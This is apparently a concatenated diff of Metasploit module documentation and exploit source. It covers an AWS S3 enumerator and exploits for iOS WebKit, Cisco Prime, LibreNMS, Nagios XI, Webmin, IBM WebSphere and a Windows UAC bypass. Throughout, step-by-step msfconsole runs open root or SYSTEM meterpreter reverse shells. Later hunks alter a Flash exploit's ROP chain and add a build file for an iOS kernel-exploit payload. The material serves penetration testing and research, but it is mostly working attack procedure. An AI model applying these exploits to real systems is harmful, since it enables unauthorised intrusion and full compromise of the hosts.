This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF/2dq3SbDsQj4jdyOMOv`.
**REGION**
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
An example region would be `us-west-2`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[+] Found 1 buckets.
[+] Name: asoto-secret-demo-bucket
[+] Creation Date: 2019-06-13 23:30:26 UTC
[+] # of Objects: 0
[+] Region: us-west-2
[+] Website: /index.html
[+] Owner: asoto
[+] Permissions:
[+] User 'asoto' granted FULL_CONTROL
[+] Group '' (http://acs.amazonaws.com/groups/s3/LogDelivery) granted READ
[*]
[*] Done.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) > exit
```
### Provided an invalid or inactive 'access key ID'
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The AWS Access Key Id you provided does not exist in our records.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
### Provided an invalid 'secret access key'
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your key and signing method.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: Access Denied
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
@@ -0,0 +1,55 @@
## Description
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233).
The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution.
The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.
## Vulnerable Application
The exploit should work all 64-bit devices (iPhone 5S and newer) running iOS 10 up to iOS 11.2.
## Verification Steps
* Start msfconsole
* `use exploit/apple_ios/browser/webkit_createthis`
* `set LHOST` and `SRVHOST` as appropriate
* exploit
* Browse to the given URL with a vulnerable device from Safari
* Note that the payload is specially created for this exploit, due to sandbox
limitations that prevent spawning new processes.
## Scenarios
### 64bit iPhone 5S running iOS 10.2.1
```
msf5 exploit(apple_ios/browser/webkit_createthis) > exploit
[*] Started reverse TCP handler on 192.168.1.51:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.51:8080/
[*] Server started.
[*] 192.168.1.34 webkit_createthis - Requesting / from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[*] 192.168.1.34 webkit_createthis - Requesting /exploit from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[+] 192.168.1.34 webkit_createthis - Sent async_wake exploit
[+] 192.168.1.34 webkit_createthis - Sent sha1 iOS 10 payload
[*] Meterpreter session 1 opened (192.168.1.51:4444 -> 192.168.1.34:49211) at 2019-04-15 11:34:01 +0200
msf5 exploit(apple_ios/browser/webkit_createthis) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter aarch64/apple_ios uid=0, gid=0, euid=0, egid=0 @ 192.168.1.34 192.168.1.51:4444 -> 192.168.1.34:49211 (192.168.1.34)
msf5 exploit(apple_ios/browser/webkit_createthis) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
/System/Library/Frameworks/WebKit.framework/XPCServices/com.apple.WebKit.WebContent.xpc
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
@@ -0,0 +1,86 @@
## Description
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability.
## Vulnerable Application
Cisco Prime Infrastructure releases prior to 3.4.1, 3.5, and 3.6, also EPN Manager releases prior to 3.0.1. The Metasploit module is specifically designed to target CPI 3.4.0.
## Notes on Setup
While developing the exploit, I happended to run into several issues that made the process more difficut. It was really because I didn't have the best hardware to work with, but in case you are trying to set up Cisco Prime Infrastructure as VMs like me, you may want to read this first.
Special thanks to Steven Seeley (mr_me) for providing some of the most important setup notes himself.
**Hardware Requirements**
There are two machines you want to set up using the same ISO, the first is called the "primary" server, and the other is "secondary" (High Availability) server. They both require the same hardware:
* 4 CPU Cores.
* 12288 MB of RAM (12GB).
* 350GB of hard drive space, but you may still run out of it in days.
* Both VMs should be on the same network.
**SCP**
In case you want to transfer files, you will probably use scp. Before you do that, run the following script as admin on CPI. It will generate the credentials you need to scp files:
```
/opt/CSCOlumos/bin/getSCPcredentials.sh
```
By default, the CPI's SSH server's authentication method is password, you may end up running scp like this:
```
scp -r -o PreferredAuthentications=password admin@ip:/tmp/something.zip .
```
**Out of Space Issues**
Cisco Prime Infrastructure requires a lot of space on the primary server. If it ever reaches to a point where it shuts down unexpectedly, you may not be able to bring the NCS services back again (such as port 80, 443, or 8082). At least for me, I couldn't figure out. If that's the case, you may need to reinstall the VM.
**Unstable HA Connection**
Sometimes the primary and secondary may experience some difficulty staying connected. If this happens, try to do the following on both machines:
1. Run `ncs stop` to stop the services
2. Run `ncs cleanup`
3. Run `ncs start`, this may take 10 to 30 minutes to finish.
4. Finally, run `ncs status` to make sure they are talking.
If the secondary server isn't working with the primary, then the HealthMonitor service may not be in the exploitable condition.
## Verification Steps
1. Start msfconsole
2. Do `use exploit/linux/http/cpi_tararchive_upload`
3. Do `set payload` to select the preferred payload
4. `set rhosts [ip]`
5. `run`, this should give you a shell
## Scenarios
**Running the check**
```
msf5 exploit(linux/http/cpi_tararchive_upload) > check
[*] 192.168.0.23:8082 - The target service is running, but could not be validated.
```
**Exploiting the service**
```
msf5 exploit(linux/http/cpi_tararchive_upload) > run
[*] Started reverse TCP handler on 192.168.0.21:4444
[*] Uploading tar file (3072 bytes)
[*] Executing JSP stager...
[*] Sending stage (985320 bytes) to 192.168.0.23
[*] Meterpreter session 3 opened (192.168.0.21:4444 -> 192.168.0.23:57127) at 2019-06-07 02:50:13 -0500
[!] This exploit may require manual cleanup of '/tmp/UdqUlWsFjp.bin' on the target
[!] This exploit may require manual cleanup of 'apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp' on the target
meterpreter >
[+] Deleted /tmp/UdqUlWsFjp.bin
[+] Deleted apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp
```
@@ -0,0 +1,65 @@
## Description
In LibreNMS `v1.46` and below, there exists a command injection vulnerability in `capture.inc.php`.
The vulnerable functionality is intended to run a command such as `snmpwalk` and save the output as
a file. The `community` parameter is an unsanitized parameter retrieved through a POST request to `addhost`,
and it is used to build the command that is executed in the `capture.inc.php` functionality. The final command
is passed to the `popen()` function, which results in execution of arbitrary code.
This module has been tested on LibreNMS `v1.46` and `v1.45`.
## Vulnerable Application
A [pre-built OVA](https://github.com/librenms/packer-builds/releases/tag/1.46) can be downloaded via a LibreNMS repo.
Additionally, vulnerable versions of LibreNMS for Ubuntu can be manually installed using the instructions [here](https://docs.librenms.org/Installation/Installation-Ubuntu-1804-Apache/).
In the command `composer create-project --no-dev --keep-vcs librenms/librenms librenms dev-master`, replace `dev-master` with a vulnerable version of the software, ex: `1.46`.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/librenms_addhost_cmd_inject```
4. Do: ```set RHOSTS <ip>```
5. Do: ```set USERNAME <user>```
6. Do: ```set PASSWORD <pass>```
7. Do: ```run```
8. You should get a shell.
## Scenarios
### Tested on LibreNMS 1.46 on Ubuntu 18.04
```
msf5 > use exploit/linux/http/librenms_addhost_cmd_inject
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set rhosts 192.168.37.143
rhosts => 192.168.37.143
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set username blah
username => blah
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set password password
password => password
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > run
[*] Started reverse TCP double handler on 192.168.37.1:4444
[*] Successfully logged into LibreNMS
[+] Successfully added device with hostname dFEzcH
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] Successfully deleted device with hostname dFEzcH and id #126
[*] Command: echo 38eJIFZsiRl3Er48;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n38eJIFZsiRl3Er48\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.143:55380) at 2019-05-29 15:26:02 -0500
whoami
www-data
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```
@@ -0,0 +1,116 @@
# Vulnerable Application
Nagios XI 5.5.6 Root Remote Code Execution
The exploit works as follows:
- A local HTTPS server is setup. When it is reached, this server responds with a payload.
- By crafting a malicious request, we make the target host send a request to our HTTPS server. Therefore, the local HTTPS server must be reachable from outside your private network (except if the Nagios server is in the same network as yours obviously), this is what the RSRVHOST and RSRVPORT options are for. The malicious request allows for file upload. A PHP webshell and a meterpreter executable are uploaded.
- A command is executed thanks to the webshell. This command elevates privileges and run the meterpreter executable, giving us a meterpreter session.
# Creating A Testing Environment
- Install a Ubuntu Linux LTS (I used 18.04 LTS for my tests) in a VM.
- Download Nagios XI 5.5.6 from the official website (https://www.nagios.com/downloads/nagios-xi/older-releases/).
- Follow the official instructions to install it on your Ubuntu VM (https://assets.nagios.com/downloads/nagiosxi/docs/Installing-Nagios-XI-Manually-on-Linux.pdf).
# Verification Steps
1. `use exploit/linux/http/nagios_xi_root_rce`
2. `set RHOSTS [IP]`
3. `set RSRVHOST [IP]`
4. `exploit`
A meterpreter session should have been opened successfully and you should be root
# Options
## RSRVHOST
IP at which your local HTTPS can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).
## RSRVPORT
Port that will forward to your local HTTPS server.
## SRVHOST
IP of your local HTTPS server (must be a local IP).
## SRVPORT
Port to listen to for your local HTTPS server.
# Scenarios
## Nagios 5.5.6 on Ubuntu 18.04 LTS
```
msf5 exploit(linux/http/nagios_xi_magpie_debug) > show options
Module options (exploit/linux/http/nagios_xi_magpie_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 5 no Number of seconds the web server will wait before termination
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.135.129 yes The target address range or CIDR identifier
RPORT 443 yes The target port (TCP)
RSRVHOST 172.16.135.1 yes A public IP at which your host can be reached (e.g. your router IP)
RSRVPORT 8080 yes The port that will forward to the local HTTPS server
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.135.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nagios XI 5.5.6
msf5 exploit(linux/http/nagios_xi_magpie_debug) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.135.1:4444
msf5 exploit(linux/http/nagios_xi_magpie_debug) > [*] Using URL: https://0.0.0.0:8080/ixFonv2
[*] Local IP: https://192.168.0.21:8080/ixFonv2
[*] Server started.
[*] nZOnJhGnMb.php uploaded with success!
[*] Using URL: https://0.0.0.0:8080/mTwEwHtAuz0V
[*] Local IP: https://192.168.0.21:8080/mTwEwHtAuz0V
[*] Server started.
[*] SQmBobwBzw uploaded with success!
[*] Sending stage (985320 bytes) to 172.16.135.129
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.129:33090) at 2019-06-25 16:13:01 -0500
[+] Deleted /usr/local/nagvis/share/nZOnJhGnMb.php
[+] Deleted /usr/local/nagvis/share/SQmBobwBzw
[!] This exploit may require manual cleanup of '/var/tmp/mtrhbwFZHa.nse' on the target
[*] Server stopped.
msf5 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.135.129
OS : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```
@@ -0,0 +1,54 @@
## Description
This module exploits an arbitrary command execution vulnerability in Webmin
1.910 and lower versions. any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges via the data parameter to update.cgi.
## Vulnerable Application
This module has been tested with [Webmin 1.910](https://sourceforge.net/projects/webadmin/files/webmin/1.910/)
## Verification Steps
1. `use exploit/lunix/http/webmin_packageup_rce`
2. `set rhosts <rhost>`
3. `set username <username>`
4. `set password <password>`
5. `exploit`
## Scenarios
### Tested Webmin 1.910 on Debian Linux 4.19.28-2kali1 x64
```
msf5 >
msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf5 exploit(linux/http/webmin_packageup_rce) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 192.168.1.12
LHOST => 192.168.1.12
msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME rce
USERNAME => rce
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD password
PASSWORD => password
msf5 exploit(linux/http/webmin_packageup_rce) > check
[*] NICE! rce has the right to >>Package Update<<
[+] 192.168.1.9:10000 - The target is vulnerable.
msf5 exploit(linux/http/webmin_packageup_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Session cookie: 1947b5dfd62403b8f1f58f497e88b1e5
[*] Attempting to execute the payload...
[*] Command shell session 12 opened (192.168.1.12:4444 -> 192.168.1.9:47552) at 2019-06-16 18:21:46 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux AkkuS 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
pwd
/usr/share/webmin/package-updates/
exit
```
@@ -0,0 +1,22 @@
## Description
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root. It was originally discovered by Pedro Ribeiro, and chained in the CVE-2018-15379 exploit.
## Demo
```
msf5 exploit(linux/local/cpi_runrshell_priv_esc) > run
[*] Started reverse TCP handler on 192.168.0.21:4444
[*] Uploading /tmp/mYVrqmsETa.bin
[*] chmod the file with +x
[*] Executing /tmp/mYVrqmsETa.bin
[*] Sending stage (985320 bytes) to 192.168.0.23
[*] Meterpreter session 4 opened (192.168.0.21:4444 -> 192.168.0.23:55554) at 2019-06-10 11:18:13 -0500
[+] Deleted /tmp/mYVrqmsETa.bin
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
```
@@ -15,8 +15,6 @@ Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before
# Verification Steps
List the steps needed to make sure this thing works
- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2.
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/confluence_widget_connector`
@@ -30,7 +28,7 @@ List the steps needed to make sure this thing works
# Options
- **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default)
- **TRIGGERURL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default)
- **TRIGGERURL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=kxopViU98Xo" is the default)
# Scenario
## Tested on Confluence 6.8.2 with Windows target
@@ -160,4 +158,4 @@ meterpreter > quit
[*] target.com - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
```
```
@@ -0,0 +1,77 @@
## Description
This module exploits the lack of proper authentication checks in IBM Websphere Application Server ND that allows for the execution of an arbitrary command and upload of an arbitrary file as SYSTEM. The module serializes the required Java objects expected by the IBM Websphere server.
The vulnerability was identified by @rwincey (b0yd) of [Securifera](https://www.securifera.com/) and was assigned [CVE-2019-4279](https://www-01.ibm.com/support/docview.wss?uid=ibm10883628).
## Vulnerable Application
The module affects [IBM Websphere Application Server Network Deployment](https://www.ibm.com/support/knowledgecenter/en/SSAW57/mapfiles/product_welcome_wasnd.html). The agent is installed on servers with the network deployment feature and listens on TCP port 11002,11004, or 11006. The vulnerability affects versions up to 9.0.0.11.
## Verification Steps
To use this exploit you will need access to IBM Websphere Application Server Network Deployment.
1. Install the IBM Websphere Application Server Network Deployment on a host.
2. Ensure that the service is running and listening on TCP port 11002, 11004, or 11006.
3. Launch `msfconsole`.
4. Load the module `use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce`.
5. Set the remote host ip to execute `set RHOSTS 192.168.162.133`.
6. Set the command to execute `set CMD "calc.exe"`.
7. Run the exploit `exploit`.
The result should be that calc.exe is executed on the target machine.
## Usage Scenarios
The exploit module contains several targets as detailed below.
### Target 0: Windows Powershell Injected Shellcode
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell).
```
msf5 > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] 172.22.222.200:11006 - Connected to IBM WAS DMGR.
[*] 172.22.222.200:11006 - Server responded
[*] 172.22.222.200:11006 - Sending payload: FOAFKqEH.exe
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.200:50575) at 2019-05-30 06:10:39 -0500
[*] 172.22.222.200:11006 - Disconnected from IBM Websphere DMGR.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-IPOGIJR
OS : Windows 10 (Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > exit
```
### Target 1: CMD
This target isn't a formal target. It was added to allow a user to execute commands entirely through the IBM Websphere Application Network Deployment Server remote administration feature. It would be the most quiet of the targets as it does not create any additional connections or use powershell by default like Target 0.
```
msf5 > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set target 1
target => 1
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set payload cmd/windows/generic
payload => cmd/windows/generic
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set cmd "ping -n 10 172.22.222.200"
cmd => ping -n 10 172.22.222.200
msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > run
[*] 172.22.222.200:11006 - Connected to IBM WAS DMGR.
[*] 172.22.222.200:11006 - Server responded
[*] 172.22.222.200:11006 - Executing command: ping -n 10 172.22.222.200
[*] 172.22.222.200:11006 - Sending payload: uMuOTPtG.bat
[*] 172.22.222.200:11006 - Disconnected from IBM Websphere DMGR.
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,77 @@
## Intro
This module will bypass UAC on any Windows installation with Powershell installed.
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin. In order to work, the code must
be saved in a script file somewhere, it cannot be run directly from powershell or from the run dialog.
## Usage
1. Create a session on the target system under the context of a local administrative user.
1. Begin interacting with the module: `use exploit/windows/local/bypassuac_silentcleanup`.
1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct.
1. If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled: `set DisablePayloadHandler true`.
1. Make sure that the `SESSION` value is set to the existing session identifier.
1. Invoke the module: `run`.
## Scenario
```
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
6 meterpreter x86/windows DESKTOP-T2TGIHP\Carter @ DESKTOP-T2TGIHP 192.168.1.x:4444 -> 192.168.1.x:53685 (192.168.1.x)
msf5 > use exploit/windows/local/bypassuac_silentcleanup
msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 6
SESSION => 6
msf5 exploit(windows/local/bypassuac_silentcleanup) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_silentcleanup) > set LHOST 192.168.1.xx
LHOST => 192.168.1.xx
msf5 exploit(windows/local/bypassuac_silentcleanup) > options
Module options (exploit/windows/local/bypassuac_silentcleanup):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 6 yes The session to run this module on.
SLEEPTIME 0 no The time (ms) to sleep before running SilentCleanup
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.55 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Microsoft Windows
msf5 exploit(windows/local/bypassuac_silentcleanup) > run
[*] Started reverse TCP handler on 192.168.1.xx:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (206403 bytes) to 192.168.1.x
[*] Meterpreter session 10 opened (192.168.1.xx:4444 -> 192.168.1.x:55538) at 2019-06-20 15:00:14 -0400
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > bg
[*] Backgrounding session 10...
msf5 exploit(windows/local/bypassuac_silentcleanup) >
```
+29 -17
View File
@@ -56,17 +56,17 @@ package
}
static function Magic(...a){}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
// mov eax,[esp+0x4]
// xchg eax,esp
// rets
stub[0] = 0x0424448B
stub[1] = 0x0000C394
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
@@ -173,17 +173,18 @@ package
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var dsound:uint = pe.module("dsound.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", dsound)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash)
var popecxret:uint = pe.gadget("c359", 0x0000ffff, flash)
var movecxpeaxret:uint = pe.gadget("c30189", 0x00ffffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
@@ -197,8 +198,8 @@ package
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
@@ -206,15 +207,26 @@ package
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, popecxret)
eba.write(0, 0x0) // NULL
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// Put the allcated memory address on the dest argument of memcpy
eba.write(0, stack_address + 0x18000 + 0x4c)
eba.write(0, movecxpeaxret) // mov [ecx], eax; ret;
// Put the allocated memory address on the lpStartAddress of CreateThread
eba.write(0, popecxret)
eba.write(0, stack_address + 0x18000 + 0x68)
eba.write(0, movecxpeaxret) // mov [ecx], eax; ret;
eba.write(0, memcpy)
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, 0x41414141) // dest
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
@@ -223,13 +235,13 @@ package
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x41414141) // lpStartAddress
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
for (var i:uint; i < 0x100; i++) {
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
}
// VirtualProtect the stub with a *reliable* stackpivot
@@ -287,7 +299,7 @@ package
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
+6 -5
View File
@@ -54,16 +54,17 @@ package
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var baseOfCode:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x2c)
var sizeOfCode:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x1c)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
for (var i:uint = 0; i < sizeOfCode - 3; i++) {
contents = eba.read(baseOfCode + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
return baseOfCode + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
return baseOfCode + i
}
}
throw new Error()
+36
View File
@@ -0,0 +1,36 @@
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
GCC_BASE_IOS=$(GCC_BIN_IOS)
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
GCC_IOS=$(GCC_BASE_IOS) -arch arm64 -isysroot $(SDK_IOS) -fno-stack-protector -fno-exceptions -fpie -fPIC -fPIE -fpic
CLANG_IOS=-arch arm64 -mios-version-min=11.0 -isysroot $(SDK_IOS)
CXXFLAGS=-std=c++11 $(CLANG_IOS)
all: clean exploit.bin
loader: loader.c
$(GCC_IOS) -o loader loader.c
exploit.bin: loader payload.dylib
ruby create_bin.rb loader
%.o: %.m
clang -c $(CLANG_IOS) $< -o $@ -fno-stack-protector -fobjc-arc -fmodules
%.o: %.c
clang -c $(CLANG_IOS) $< -o $@ -fno-stack-protector -fmodules -Iheaders
%.o: liboffsetfinder/%.cpp
clang -c $(CLANG_IOS) $< -o $@ -fno-stack-protector -fmodules
payload.dylib: payload.o v0rtex.o async_wake.o kmem.o kutils.o koffsets.o kexecute.o find_port.o early_kalloc.o sandbox.o vnode_utils.o offsetof.c patchfinder64.o kernel_utils.o trustcache.o sha1.o sha256.o liboffsetfinder64/getoffsets.o liboffsetfinder64/img4.o liboffsetfinder64/lzssdec.o liboffsetfinder64/exception.o liboffsetfinder64/liboffsetfinder64.o liboffsetfinder64/insn.o liboffsetfinder64/patch.o
clang $(CLANG_IOS) $^ -shared -o $@ -bind_at_load \
